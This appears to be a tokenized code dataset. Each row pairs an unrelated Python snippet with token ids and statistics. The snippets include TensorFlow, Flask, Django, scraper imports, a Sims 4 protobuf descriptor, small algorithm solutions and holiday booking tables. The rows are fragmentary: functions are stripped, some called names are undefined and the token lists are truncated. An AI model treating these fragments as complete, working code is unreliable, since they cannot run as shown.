685,
600,
7,
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329,
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287,
8246,
62,
15414,
2... | 1.990909 | 110 |
import tensorflow as tf
FLIPPING_TENSOR = tf.constant([1.0, -1.0, 1.0])
mock_data = tf.constant([
[1., 2., 3.],
[4., 5., 6.],
[7., 8., 9.]
])
mock_labels = tf.constant([
[1.], [0.], [1.]
])
sampling_lambda = lambda x, y: sample_data(x, y, 512)
train_data = tf.data.Dataset.from_tensors((mock_data, mock_labels)) \
.map(sampling_lambda) \
.unbatch() \
.batch(1) \
.repeat(5)
for x, y in train_data:
print(x) | [
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11192,
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11125,
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198,
198,
3697,
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2751,
62,
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... | 1.986726 | 226 |
from flask import Flask
app = Flask(__name__)
| [
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7,
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3672,
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] | 3.357143 | 14 |
# Generated by Django 3.1.6 on 2021-02-16 11:37
from django.db import migrations, models
| [
2,
2980,
515,
416,
37770,
513,
13,
16,
13,
21,
319,
33448,
12,
2999,
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198,
198,
6738,
42625,
14208,
13,
9945,
1330,
15720,
602,
11,
4981,
628
] | 2.84375 | 32 |
import aiohttp
import asyncio
import time
import time
import argparse
import glob
import os
import shutil
import random
import re
import requests
import sys
from concurrent import futures
import pdfkit
import time
from retrying import retry
from pygments import highlight
from pygments.lexers import guess_lexer, get_lexer_by_name
from pygments.lexers import CppLexer
from pygments.formatters.terminal import TerminalFormatter
from pygments.util import ClassNotFound
from pyquery import PyQuery as pq
from requests.exceptions import ConnectionError
from requests.exceptions import SSLError
import numbers
if sys.version < '3':
import codecs
from urllib import quote as url_quote
from urllib import getproxies
# Handling Unicode: http://stackoverflow.com/a/6633040/305414
else:
from urllib.request import getproxies
from urllib.parse import quote as url_quote
scripFilePath = os.path.split(os.path.realpath(__file__))[0]
PDF_DIR = os.path.join(scripFilePath,'whoamiPDFdir')
CPP_DIR = os.path.join(scripFilePath,'whoamiCPPdir')
| [
11748,
257,
952,
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201,
198,
11748,
30351,
952,
201,
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11748,
640,
201,
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640,
201,
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201,
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28686,
201,
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201,
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... | 2.915119 | 377 |
from django.test import SimpleTestCase as TestCase
from corehq.apps.app_manager.models import _parse_xml
import os
| [
6738,
42625,
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62,
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198,
11748,
28686,
198
] | 3.382353 | 34 |
import protocolbuffers.Consts_pb2 as Consts_pb2
from google.protobuf import descriptor, message, reflection
DESCRIPTOR = descriptor.FileDescriptor(name = 'Localization.proto', package = 'EA.Sims4.Network',
serialized_pb = '\n\x12Localization.proto\x12\x10EA.Sims4.Network\x1a\x0cConsts.proto"\x85\n\n\x14LocalizedStringToken\x12G\n\x04type\x18\x01 \x02(\x0e20.EA.Sims4.Network.LocalizedStringToken.TokenType:\x07INVALID\x126\n\x08rdl_type\x18\x02 \x01(\x0e2$.EA.Sims4.Network.SocialRichDataType\x12\x12\n\nfirst_name\x18\x03 \x01(\t\x12\x11\n\tlast_name\x18\x04 \x01(\t\x12\x15\n\rfull_name_key\x18\x05 \x01(\r\x12\x11\n\tis_female\x18\x06 \x01(\x08\x12\x0e\n\x06sim_id\x18\x07 \x01(\x04\x126\n\x0btext_string\x18\x08 \x01(\x0b2!.EA.Sims4.Network.LocalizedString\x12\x0e\n\x06number\x18\t \x01(\x02\x12\x12\n\npersona_id\x18\n \x01(\x04\x12\x12\n\naccount_id\x18\x0b \x01(\x04\x12\x16\n\x0epersona_string\x18\x0c \x01(\t\x12\x0f\n\x07zone_id\x18\r \x01(\x04\x12\x10\n\x08world_id\x18\x0e \x01(\r\x12\x11\n\tzone_name\x18\x0f \x01(\t\x12\x10\n\x08event_id\x18\x10 \x01(\x04\x12\x17\n\x0fevent_type_hash\x18\x11 \x01(\r\x12\x17\n\x0fskill_name_hash\x18\x12 \x01(\r\x12\x13\n\x0bskill_level\x18\x13 \x01(\r\x12\x12\n\nskill_guid\x18\x14 \x01(\x04\x12\x17\n\x0ftrait_name_hash\x18\x15 \x01(\r\x12\x12\n\ntrait_guid\x18\x16 \x01(\x04\x12\x15\n\rbit_name_hash\x18\x17 \x01(\r\x12\x10\n\x08bit_guid\x18\x18 \x01(\x04\x12\x18\n\x10catalog_name_key\x18\x19 \x01(\r\x12\x1f\n\x17catalog_description_key\x18\x1a \x01(\r\x12\x13\n\x0bcustom_name\x18\x1b \x01(\t\x12\x1a\n\x12custom_description\x18\x1c \x01(\t\x12\x12\n\ncareer_uid\x18\x1d \x01(\x04\x12\x11\n\tmemory_id\x18\x1e \x01(\x04\x12\x1a\n\x12memory_string_hash\x18\x1f \x01(\r\x12\x10\n\x08raw_text\x18 \x01(\t\x12A\n\rdate_and_time\x18! \x01(\x0b2*.EA.Sims4.Network.LocalizedDateAndTimeData\x12E\n\x08sim_list\x18" \x03(\x0b23.EA.Sims4.Network.LocalizedStringToken.SubTokenData\x1a\x01\n\x0cSubTokenData\x12G\n\x04type\x18\x01 \x02(\x0e20.EA.Sims4.Network.LocalizedStringToken.TokenType:\x07INVALID\x12\x12\n\nfirst_name\x18\x02 \x01(\t\x12\x11\n\tlast_name\x18\x03 \x01(\t\x12\x15\n\rfull_name_key\x18\x04 \x01(\r\x12\x11\n\tis_female\x18\x05 \x01(\x08"\x93\x01\n\tTokenType\x12\x0b\n\x07INVALID\x10\x00\x12\x07\n\x03SIM\x10\x01\x12\n\n\x06STRING\x10\x02\x12\x0c\n\x08RAW_TEXT\x10\x03\x12\n\n\x06NUMBER\x10\x04\x12\n\n\x06OBJECT\x10\x05\x12\x11\n\rDATE_AND_TIME\x10\x06\x12\x0c\n\x08RICHDATA\x10\x07\x12\x0f\n\x0bSTRING_LIST\x10\x08\x12\x0c\n\x08SIM_LIST\x10\t"\x9e\x01\n\x18LocalizedDateAndTimeData\x12\x0f\n\x07seconds\x18\x01 \x01(\r\x12\x0f\n\x07minutes\x18\x02 \x01(\r\x12\r\n\x05hours\x18\x03 \x01(\r\x12\x0c\n\x04date\x18\x04 \x01(\r\x12\r\n\x05month\x18\x05 \x01(\r\x12\x11\n\tfull_year\x18\x06 \x01(\r\x12!\n\x19date_and_time_format_hash\x18\x07 \x01(\r"W\n\x0fLocalizedString\x12\x0c\n\x04hash\x18\x01 \x02(\r\x126\n\x06tokens\x18\x02 \x03(\x0b2&.EA.Sims4.Network.LocalizedStringToken"W\n\x17LocalizedStringValidate\x12<\n\x11localized_strings\x18\x01 \x03(\x0b2!.EA.Sims4.Network.LocalizedString')
_LOCALIZEDSTRINGTOKEN_TOKENTYPE = descriptor.EnumDescriptor(name = 'TokenType', full_name = 'EA.Sims4.Network.LocalizedStringToken.TokenType', filename = None, file = DESCRIPTOR,
values = [
descriptor.EnumValueDescriptor(name = 'INVALID', index = 0, number = 0, options = None, type = None),
descriptor.EnumValueDescriptor(name = 'SIM', index = 1, number = 1, options = None, type = None),
descriptor.EnumValueDescriptor(name = 'STRING', index = 2, number = 2, options = None, type = None),
descriptor.EnumValueDescriptor(name = 'RAW_TEXT', index = 3, number = 3, options = None, type = None),
descriptor.EnumValueDescriptor(name = 'NUMBER', index = 4, number = 4, options = None, type = None),
descriptor.EnumValueDescriptor(name = 'OBJECT', index = 5, number = 5, options = None, type = None),
descriptor.EnumValueDescriptor(name = 'DATE_AND_TIME', index = 6, number = 6, options = None, type = None),
descriptor.EnumValueDescriptor(name = 'RICHDATA', index = 7, number = 7, options = None, type = None),
descriptor.EnumValueDescriptor(name = 'STRING_LIST', index = 8, number = 8, options = None, type = None),
descriptor.EnumValueDescriptor(name = 'SIM_LIST', index = 9, number = 9, options = None, type = None)], containing_type = None, options = None, serialized_start = 1193, serialized_end = 1340)
_LOCALIZEDSTRINGTOKEN_SUBTOKENDATA = descriptor.Descriptor(name = 'SubTokenData', full_name = 'EA.Sims4.Network.LocalizedStringToken.SubTokenData', filename = None, file = DESCRIPTOR, containing_type = None, fields = [
descriptor.FieldDescriptor(name = 'type', full_name = 'EA.Sims4.Network.LocalizedStringToken.SubTokenData.type', index = 0, number = 1, type = 14, cpp_type = 8, label = 2, has_default_value = True, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'first_name', full_name = 'EA.Sims4.Network.LocalizedStringToken.SubTokenData.first_name', index = 1, number = 2, type = 9, cpp_type = 9, label = 1, has_default_value = False, default_value = b''.decode('utf-8'), message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'last_name', full_name = 'EA.Sims4.Network.LocalizedStringToken.SubTokenData.last_name', index = 2, number = 3, type = 9, cpp_type = 9, label = 1, has_default_value = False, default_value = b''.decode('utf-8'), message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'full_name_key', full_name = 'EA.Sims4.Network.LocalizedStringToken.SubTokenData.full_name_key', index = 3, number = 4, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'is_female', full_name = 'EA.Sims4.Network.LocalizedStringToken.SubTokenData.is_female', index = 4, number = 5, type = 8, cpp_type = 7, label = 1, has_default_value = False, default_value = False, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None)], extensions = [], nested_types = [], enum_types = [], options = None, is_extendable = False, extension_ranges = [], serialized_start = 1022, serialized_end = 1190)
_LOCALIZEDSTRINGTOKEN = descriptor.Descriptor(
name = 'LocalizedStringToken',
full_name = 'EA.Sims4.Network.LocalizedStringToken',
filename = None,
file = DESCRIPTOR,
containing_type = None,
fields = [
descriptor.FieldDescriptor(name = 'type', full_name = 'EA.Sims4.Network.LocalizedStringToken.type', index = 0, number = 1, type = 14, cpp_type = 8, label = 2, has_default_value = True, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'rdl_type', full_name = 'EA.Sims4.Network.LocalizedStringToken.rdl_type', index = 1, number = 2, type = 14, cpp_type = 8, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'first_name', full_name = 'EA.Sims4.Network.LocalizedStringToken.first_name', index = 2, number = 3, type = 9, cpp_type = 9, label = 1, has_default_value = False, default_value = b''.decode('utf-8'), message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'last_name', full_name = 'EA.Sims4.Network.LocalizedStringToken.last_name', index = 3, number = 4, type = 9, cpp_type = 9, label = 1, has_default_value = False, default_value = b''.decode('utf-8'), message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'full_name_key', full_name = 'EA.Sims4.Network.LocalizedStringToken.full_name_key', index = 4, number = 5, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'is_female', full_name = 'EA.Sims4.Network.LocalizedStringToken.is_female', index = 5, number = 6, type = 8, cpp_type = 7, label = 1, has_default_value = False, default_value = False, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'sim_id', full_name = 'EA.Sims4.Network.LocalizedStringToken.sim_id', index = 6, number = 7, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'text_string', full_name = 'EA.Sims4.Network.LocalizedStringToken.text_string', index = 7, number = 8, type = 11, cpp_type = 10, label = 1, has_default_value = False, default_value = None, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'number', full_name = 'EA.Sims4.Network.LocalizedStringToken.number', index = 8, number = 9, type = 2, cpp_type = 6, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'persona_id', full_name = 'EA.Sims4.Network.LocalizedStringToken.persona_id', index = 9, number = 10, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'account_id', full_name = 'EA.Sims4.Network.LocalizedStringToken.account_id', index = 10, number = 11, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'persona_string', full_name = 'EA.Sims4.Network.LocalizedStringToken.persona_string', index = 11, number = 12, type = 9, cpp_type = 9, label = 1, has_default_value = False, default_value = b''.decode('utf-8'), message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'zone_id', full_name = 'EA.Sims4.Network.LocalizedStringToken.zone_id', index = 12, number = 13, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'world_id', full_name = 'EA.Sims4.Network.LocalizedStringToken.world_id', index = 13, number = 14, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'zone_name', full_name = 'EA.Sims4.Network.LocalizedStringToken.zone_name', index = 14, number = 15, type = 9, cpp_type = 9, label = 1, has_default_value = False, default_value = b''.decode('utf-8'), message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'event_id', full_name = 'EA.Sims4.Network.LocalizedStringToken.event_id', index = 15, number = 16, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'event_type_hash', full_name = 'EA.Sims4.Network.LocalizedStringToken.event_type_hash', index = 16, number = 17, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'skill_name_hash', full_name = 'EA.Sims4.Network.LocalizedStringToken.skill_name_hash', index = 17, number = 18, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'skill_level', full_name = 'EA.Sims4.Network.LocalizedStringToken.skill_level', index = 18, number = 19, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'skill_guid', full_name = 'EA.Sims4.Network.LocalizedStringToken.skill_guid', index = 19, number = 20, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'trait_name_hash', full_name = 'EA.Sims4.Network.LocalizedStringToken.trait_name_hash', index = 20, number = 21, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'trait_guid', full_name = 'EA.Sims4.Network.LocalizedStringToken.trait_guid', index = 21, number = 22, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'bit_name_hash', full_name = 'EA.Sims4.Network.LocalizedStringToken.bit_name_hash', index = 22, number = 23, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'bit_guid', full_name = 'EA.Sims4.Network.LocalizedStringToken.bit_guid', index = 23, number = 24, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'catalog_name_key', full_name = 'EA.Sims4.Network.LocalizedStringToken.catalog_name_key', index = 24, number = 25, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'catalog_description_key', full_name = 'EA.Sims4.Network.LocalizedStringToken.catalog_description_key', index = 25, number = 26, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'custom_name', full_name = 'EA.Sims4.Network.LocalizedStringToken.custom_name', index = 26, number = 27, type = 9, cpp_type = 9, label = 1, has_default_value = False, default_value = b''.decode('utf-8'), message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'custom_description', full_name = 'EA.Sims4.Network.LocalizedStringToken.custom_description', index = 27, number = 28, type = 9, cpp_type = 9, label = 1, has_default_value = False, default_value = b''.decode('utf-8'), message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'career_uid', full_name = 'EA.Sims4.Network.LocalizedStringToken.career_uid', index = 28, number = 29, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'memory_id', full_name = 'EA.Sims4.Network.LocalizedStringToken.memory_id', index = 29, number = 30, type = 4, cpp_type = 4, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'memory_string_hash', full_name = 'EA.Sims4.Network.LocalizedStringToken.memory_string_hash', index = 30, number = 31, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'raw_text', full_name = 'EA.Sims4.Network.LocalizedStringToken.raw_text', index = 31, number = 32, type = 9, cpp_type = 9, label = 1, has_default_value = False, default_value = b''.decode('utf-8'), message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'date_and_time', full_name = 'EA.Sims4.Network.LocalizedStringToken.date_and_time', index = 32, number = 33, type = 11, cpp_type = 10, label = 1, has_default_value = False, default_value = None, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'sim_list', full_name = 'EA.Sims4.Network.LocalizedStringToken.sim_list', index = 33, number = 34, type = 11, cpp_type = 10, label = 3, has_default_value = False, default_value = [], message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None)],
extensions = [],
nested_types = [_LOCALIZEDSTRINGTOKEN_SUBTOKENDATA],
enum_types = [_LOCALIZEDSTRINGTOKEN_TOKENTYPE],
options = None,
is_extendable = False,
extension_ranges = [],
serialized_start = 55,
serialized_end = 1340
)
_LOCALIZEDDATEANDTIMEDATA = descriptor.Descriptor(name = 'LocalizedDateAndTimeData', full_name = 'EA.Sims4.Network.LocalizedDateAndTimeData', filename = None, file = DESCRIPTOR, containing_type = None, fields = [
descriptor.FieldDescriptor(name = 'seconds', full_name = 'EA.Sims4.Network.LocalizedDateAndTimeData.seconds', index = 0, number = 1, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'minutes', full_name = 'EA.Sims4.Network.LocalizedDateAndTimeData.minutes', index = 1, number = 2, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'hours', full_name = 'EA.Sims4.Network.LocalizedDateAndTimeData.hours', index = 2, number = 3, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'date', full_name = 'EA.Sims4.Network.LocalizedDateAndTimeData.date', index = 3, number = 4, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'month', full_name = 'EA.Sims4.Network.LocalizedDateAndTimeData.month', index = 4, number = 5, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'full_year', full_name = 'EA.Sims4.Network.LocalizedDateAndTimeData.full_year', index = 5, number = 6, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'date_and_time_format_hash', full_name = 'EA.Sims4.Network.LocalizedDateAndTimeData.date_and_time_format_hash', index = 6, number = 7, type = 13, cpp_type = 3, label = 1, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None)], extensions = [], nested_types = [], enum_types = [], options = None, is_extendable = False, extension_ranges = [], serialized_start = 1343, serialized_end = 1501)
_LOCALIZEDSTRING = descriptor.Descriptor(name = 'LocalizedString', full_name = 'EA.Sims4.Network.LocalizedString', filename = None, file = DESCRIPTOR, containing_type = None, fields = [
descriptor.FieldDescriptor(name = 'hash', full_name = 'EA.Sims4.Network.LocalizedString.hash', index = 0, number = 1, type = 13, cpp_type = 3, label = 2, has_default_value = False, default_value = 0, message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None),
descriptor.FieldDescriptor(name = 'tokens', full_name = 'EA.Sims4.Network.LocalizedString.tokens', index = 1, number = 2, type = 11, cpp_type = 10, label = 3, has_default_value = False, default_value = [], message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None)], extensions = [], nested_types = [], enum_types = [], options = None, is_extendable = False, extension_ranges = [], serialized_start = 1503,
serialized_end = 1590)
_LOCALIZEDSTRINGVALIDATE = descriptor.Descriptor(name = 'LocalizedStringValidate', full_name = 'EA.Sims4.Network.LocalizedStringValidate', filename = None, file = DESCRIPTOR, containing_type = None, fields = [descriptor.FieldDescriptor(name = 'localized_strings', full_name = 'EA.Sims4.Network.LocalizedStringValidate.localized_strings', index = 0, number = 1, type = 11, cpp_type = 10, label = 3, has_default_value = False, default_value = [], message_type = None, enum_type = None, containing_type = None, is_extension = False, extension_scope = None, options = None)], extensions = [], nested_types = [], enum_types = [], options = None, is_extendable = False, extension_ranges = [], serialized_start = 1592, serialized_end = 1679)
_LOCALIZEDSTRINGTOKEN_SUBTOKENDATA.fields_by_name['type'].enum_type = _LOCALIZEDSTRINGTOKEN_TOKENTYPE
_LOCALIZEDSTRINGTOKEN_SUBTOKENDATA.containing_type = _LOCALIZEDSTRINGTOKEN
_LOCALIZEDSTRINGTOKEN.fields_by_name['type'].enum_type = _LOCALIZEDSTRINGTOKEN_TOKENTYPE
_LOCALIZEDSTRINGTOKEN.fields_by_name['rdl_type'].enum_type = Consts_pb2._SOCIALRICHDATATYPE
_LOCALIZEDSTRINGTOKEN.fields_by_name['text_string'].message_type = _LOCALIZEDSTRING
_LOCALIZEDSTRINGTOKEN.fields_by_name['date_and_time'].message_type = _LOCALIZEDDATEANDTIMEDATA
_LOCALIZEDSTRINGTOKEN.fields_by_name['sim_list'].message_type = _LOCALIZEDSTRINGTOKEN_SUBTOKENDATA
_LOCALIZEDSTRINGTOKEN_TOKENTYPE.containing_type = _LOCALIZEDSTRINGTOKEN
_LOCALIZEDSTRING.fields_by_name['tokens'].message_type = _LOCALIZEDSTRINGTOKEN
_LOCALIZEDSTRINGVALIDATE.fields_by_name['localized_strings'].message_type = _LOCALIZEDSTRING
DESCRIPTOR.message_types_by_name['LocalizedStringToken'] = _LOCALIZEDSTRINGTOKEN
DESCRIPTOR.message_types_by_name['LocalizedDateAndTimeData'] = _LOCALIZEDDATEANDTIMEDATA
DESCRIPTOR.message_types_by_name['LocalizedString'] = _LOCALIZEDSTRING
DESCRIPTOR.message_types_by_name['LocalizedStringValidate'] = _LOCALIZEDSTRINGVALIDATE
| [
11748,
8435,
36873,
364,
13,
3103,
6448,
62,
40842,
17,
355,
4757,
82,
62,
40842,
17,
198,
6738,
23645,
13,
11235,
672,
3046,
1330,
43087,
11,
3275,
11,
14580,
198,
198,
30910,
36584,
32961,
796,
43087,
13,
8979,
24564,
1968,
273,
7,
... | 2.705831 | 9,209 |
# input
N, M = map(int, input().split())
Ds = [*map(int, input().split())]
# compute
dp = [False] * (N+1)
for ni in range(N+1):
if ni == 0:
dp[ni] = True
for D in Ds:
if ni >= D:
dp[ni] = dp[ni] or dp[ni-D]
# output
print("Yes" if dp[-1] else "No")
| [
2,
5128,
198,
45,
11,
337,
796,
3975,
7,
600,
11,
5128,
22446,
35312,
28955,
198,
30832,
796,
30138,
8899,
7,
600,
11,
5128,
22446,
35312,
3419,
15437,
198,
198,
2,
24061,
198,
26059,
796,
685,
25101,
60,
1635,
357,
45,
10,
16,
8,... | 1.875817 | 153 |
# sorting
n=int(input())
array=list(map(int,input().split()))
i=0
count=[]
counter=0
while i<len(array):
min=i
start=i+1
while(start<len(array)):
if array[start]<array[min]:
min=start
start+=1
if i!=min:
array[i],array[min]=array[min],array[i]
count.append(i)
count.append(min)
counter+=1
i+=1
print(counter)
for i in range(0,len(count)):
print(count[i],end=" ")
| [
2,
29407,
198,
77,
28,
600,
7,
15414,
28955,
198,
18747,
28,
4868,
7,
8899,
7,
600,
11,
15414,
22446,
35312,
3419,
4008,
198,
72,
28,
15,
198,
9127,
28,
21737,
198,
24588,
28,
15,
198,
4514,
1312,
27,
11925,
7,
18747,
2599,
198,
... | 1.951965 | 229 |
import unittest
from app.models import News
# News = news.News
# if __name__ == '__main__':
# unittest.main()
| [
11748,
555,
715,
395,
198,
6738,
598,
13,
27530,
1330,
3000,
198,
2,
3000,
796,
1705,
13,
9980,
628,
198,
2,
611,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
2,
220,
220,
220,
220,
555,
715,
395,
13,
12417,
3419,
198... | 2.636364 | 44 |
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('ghcomment', type=str) # this is for test-me-please phrases
parser.add_argument('--focus', type=str, default="")
parser.add_argument('--version', type=str, default="")
parser.add_argument('--retrieve', type=str, default="focus")
args = parser.parse_args()
print args.__dict__[args.retrieve]
| [
11748,
1822,
29572,
198,
198,
48610,
796,
1822,
29572,
13,
28100,
1713,
46677,
3419,
198,
48610,
13,
2860,
62,
49140,
10786,
456,
23893,
3256,
2099,
28,
2536,
8,
1303,
428,
318,
329,
1332,
12,
1326,
12,
29688,
20144,
198,
48610,
13,
2... | 3.146552 | 116 |
"""
This script cleans and prepares the data set of bookings for the future usage
"""
import argparse
import logging
import sys
import pandas as pd
from preprocessing.common import canonize_datetime, raw_data_to_df, check_processed_columns, check_data
OLD_BREAKPOINT_MATCHER = {
2001: [
(1, 1, "New Year"), (1, 6, "Winter"),
(2, 17, "Half Terms"), (2, 24, "Spring and Autumn"),
(4, 7, "Easter"), (4, 21, "Spring and Autumn"),
(5, 26, "SBH"),
(6, 2, "Early Summer"),
(7, 21, "Summer holidays"),
(9, 1, "Early Autumn"), (9, 15, "Spring and Autumn"),
(10, 27, "Half Terms"),
(11, 3, "Winter"),
(12, 22, "Christmas"), (12, 29, "New Year"),
],
2002: [
(1, 1, "New Year"), (1, 5, "Winter"),
(2, 16, "Half Terms"), (2, 23, "Spring and Autumn"),
(4, 6, "Easter"), (4, 20, "Spring and Autumn"),
(5, 25, "SBH"),
(6, 1, "Early Summer"),
(7, 20, "Summer holidays"),
(8, 31, "Early Autumn"),
(9, 14, "Spring and Autumn"),
(10, 26, "Half Terms"),
(11, 2, "Winter"),
(12, 21, "Christmas"), (12, 28, "New Year"),
],
2003: [
(1, 1, "New Year"), (1, 4, "Winter"),
(2, 15, "Half Terms"), (2, 22, "Spring and Autumn"),
(4, 5, "Easter"), (4, 19, "Spring and Autumn"),
(5, 24, "SBH"), (5, 31, "Early Summer"),
(7, 19, "Summer holidays"),
(8, 30, "Early Autumn"),
(9, 13, "Spring and Autumn"),
(10, 25, "Half Terms"),
(11, 1, "Winter"),
(12, 20, "Christmas"), (12, 27, "New Year"),
],
2004: [
(1, 1, "New Year"), (1, 3, "Winter"),
(2, 14, "Half Terms"), (2, 21, "Spring and Autumn"),
(4, 3, "Easter"), (4, 17, "Spring and Autumn"),
(5, 22, "SBH"), (5, 29, "Early Summer"),
(7, 17, "Summer holidays"),
(8, 28, "Early Autumn"),
(9, 11, "Spring and Autumn"),
(10, 23, "Half Terms"), (10, 30, "Winter"),
(12, 18, "Christmas"),
],
2005: [
(1, 1, "Winter"),
(2, 12, "Half Terms"), (2, 19, "Spring and Autumn"),
(4, 2, "Easter"), (4, 16, "Spring and Autumn"),
(5, 21, "SBH"), (5, 28, "Early Summer"),
(7, 16, "Summer holidays"),
(8, 27, "Early Autumn"),
(9, 10, "Spring and Autumn"),
(10, 22, "Half Terms"), (10, 29, "Winter"),
(12, 17, "Christmas"), (12, 31, "New Year"),
],
2006: [
(1, 1, "New Year"), (1, 7, "Winter"),
(2, 18, "Half Terms"), (2, 25, "Spring and Autumn"),
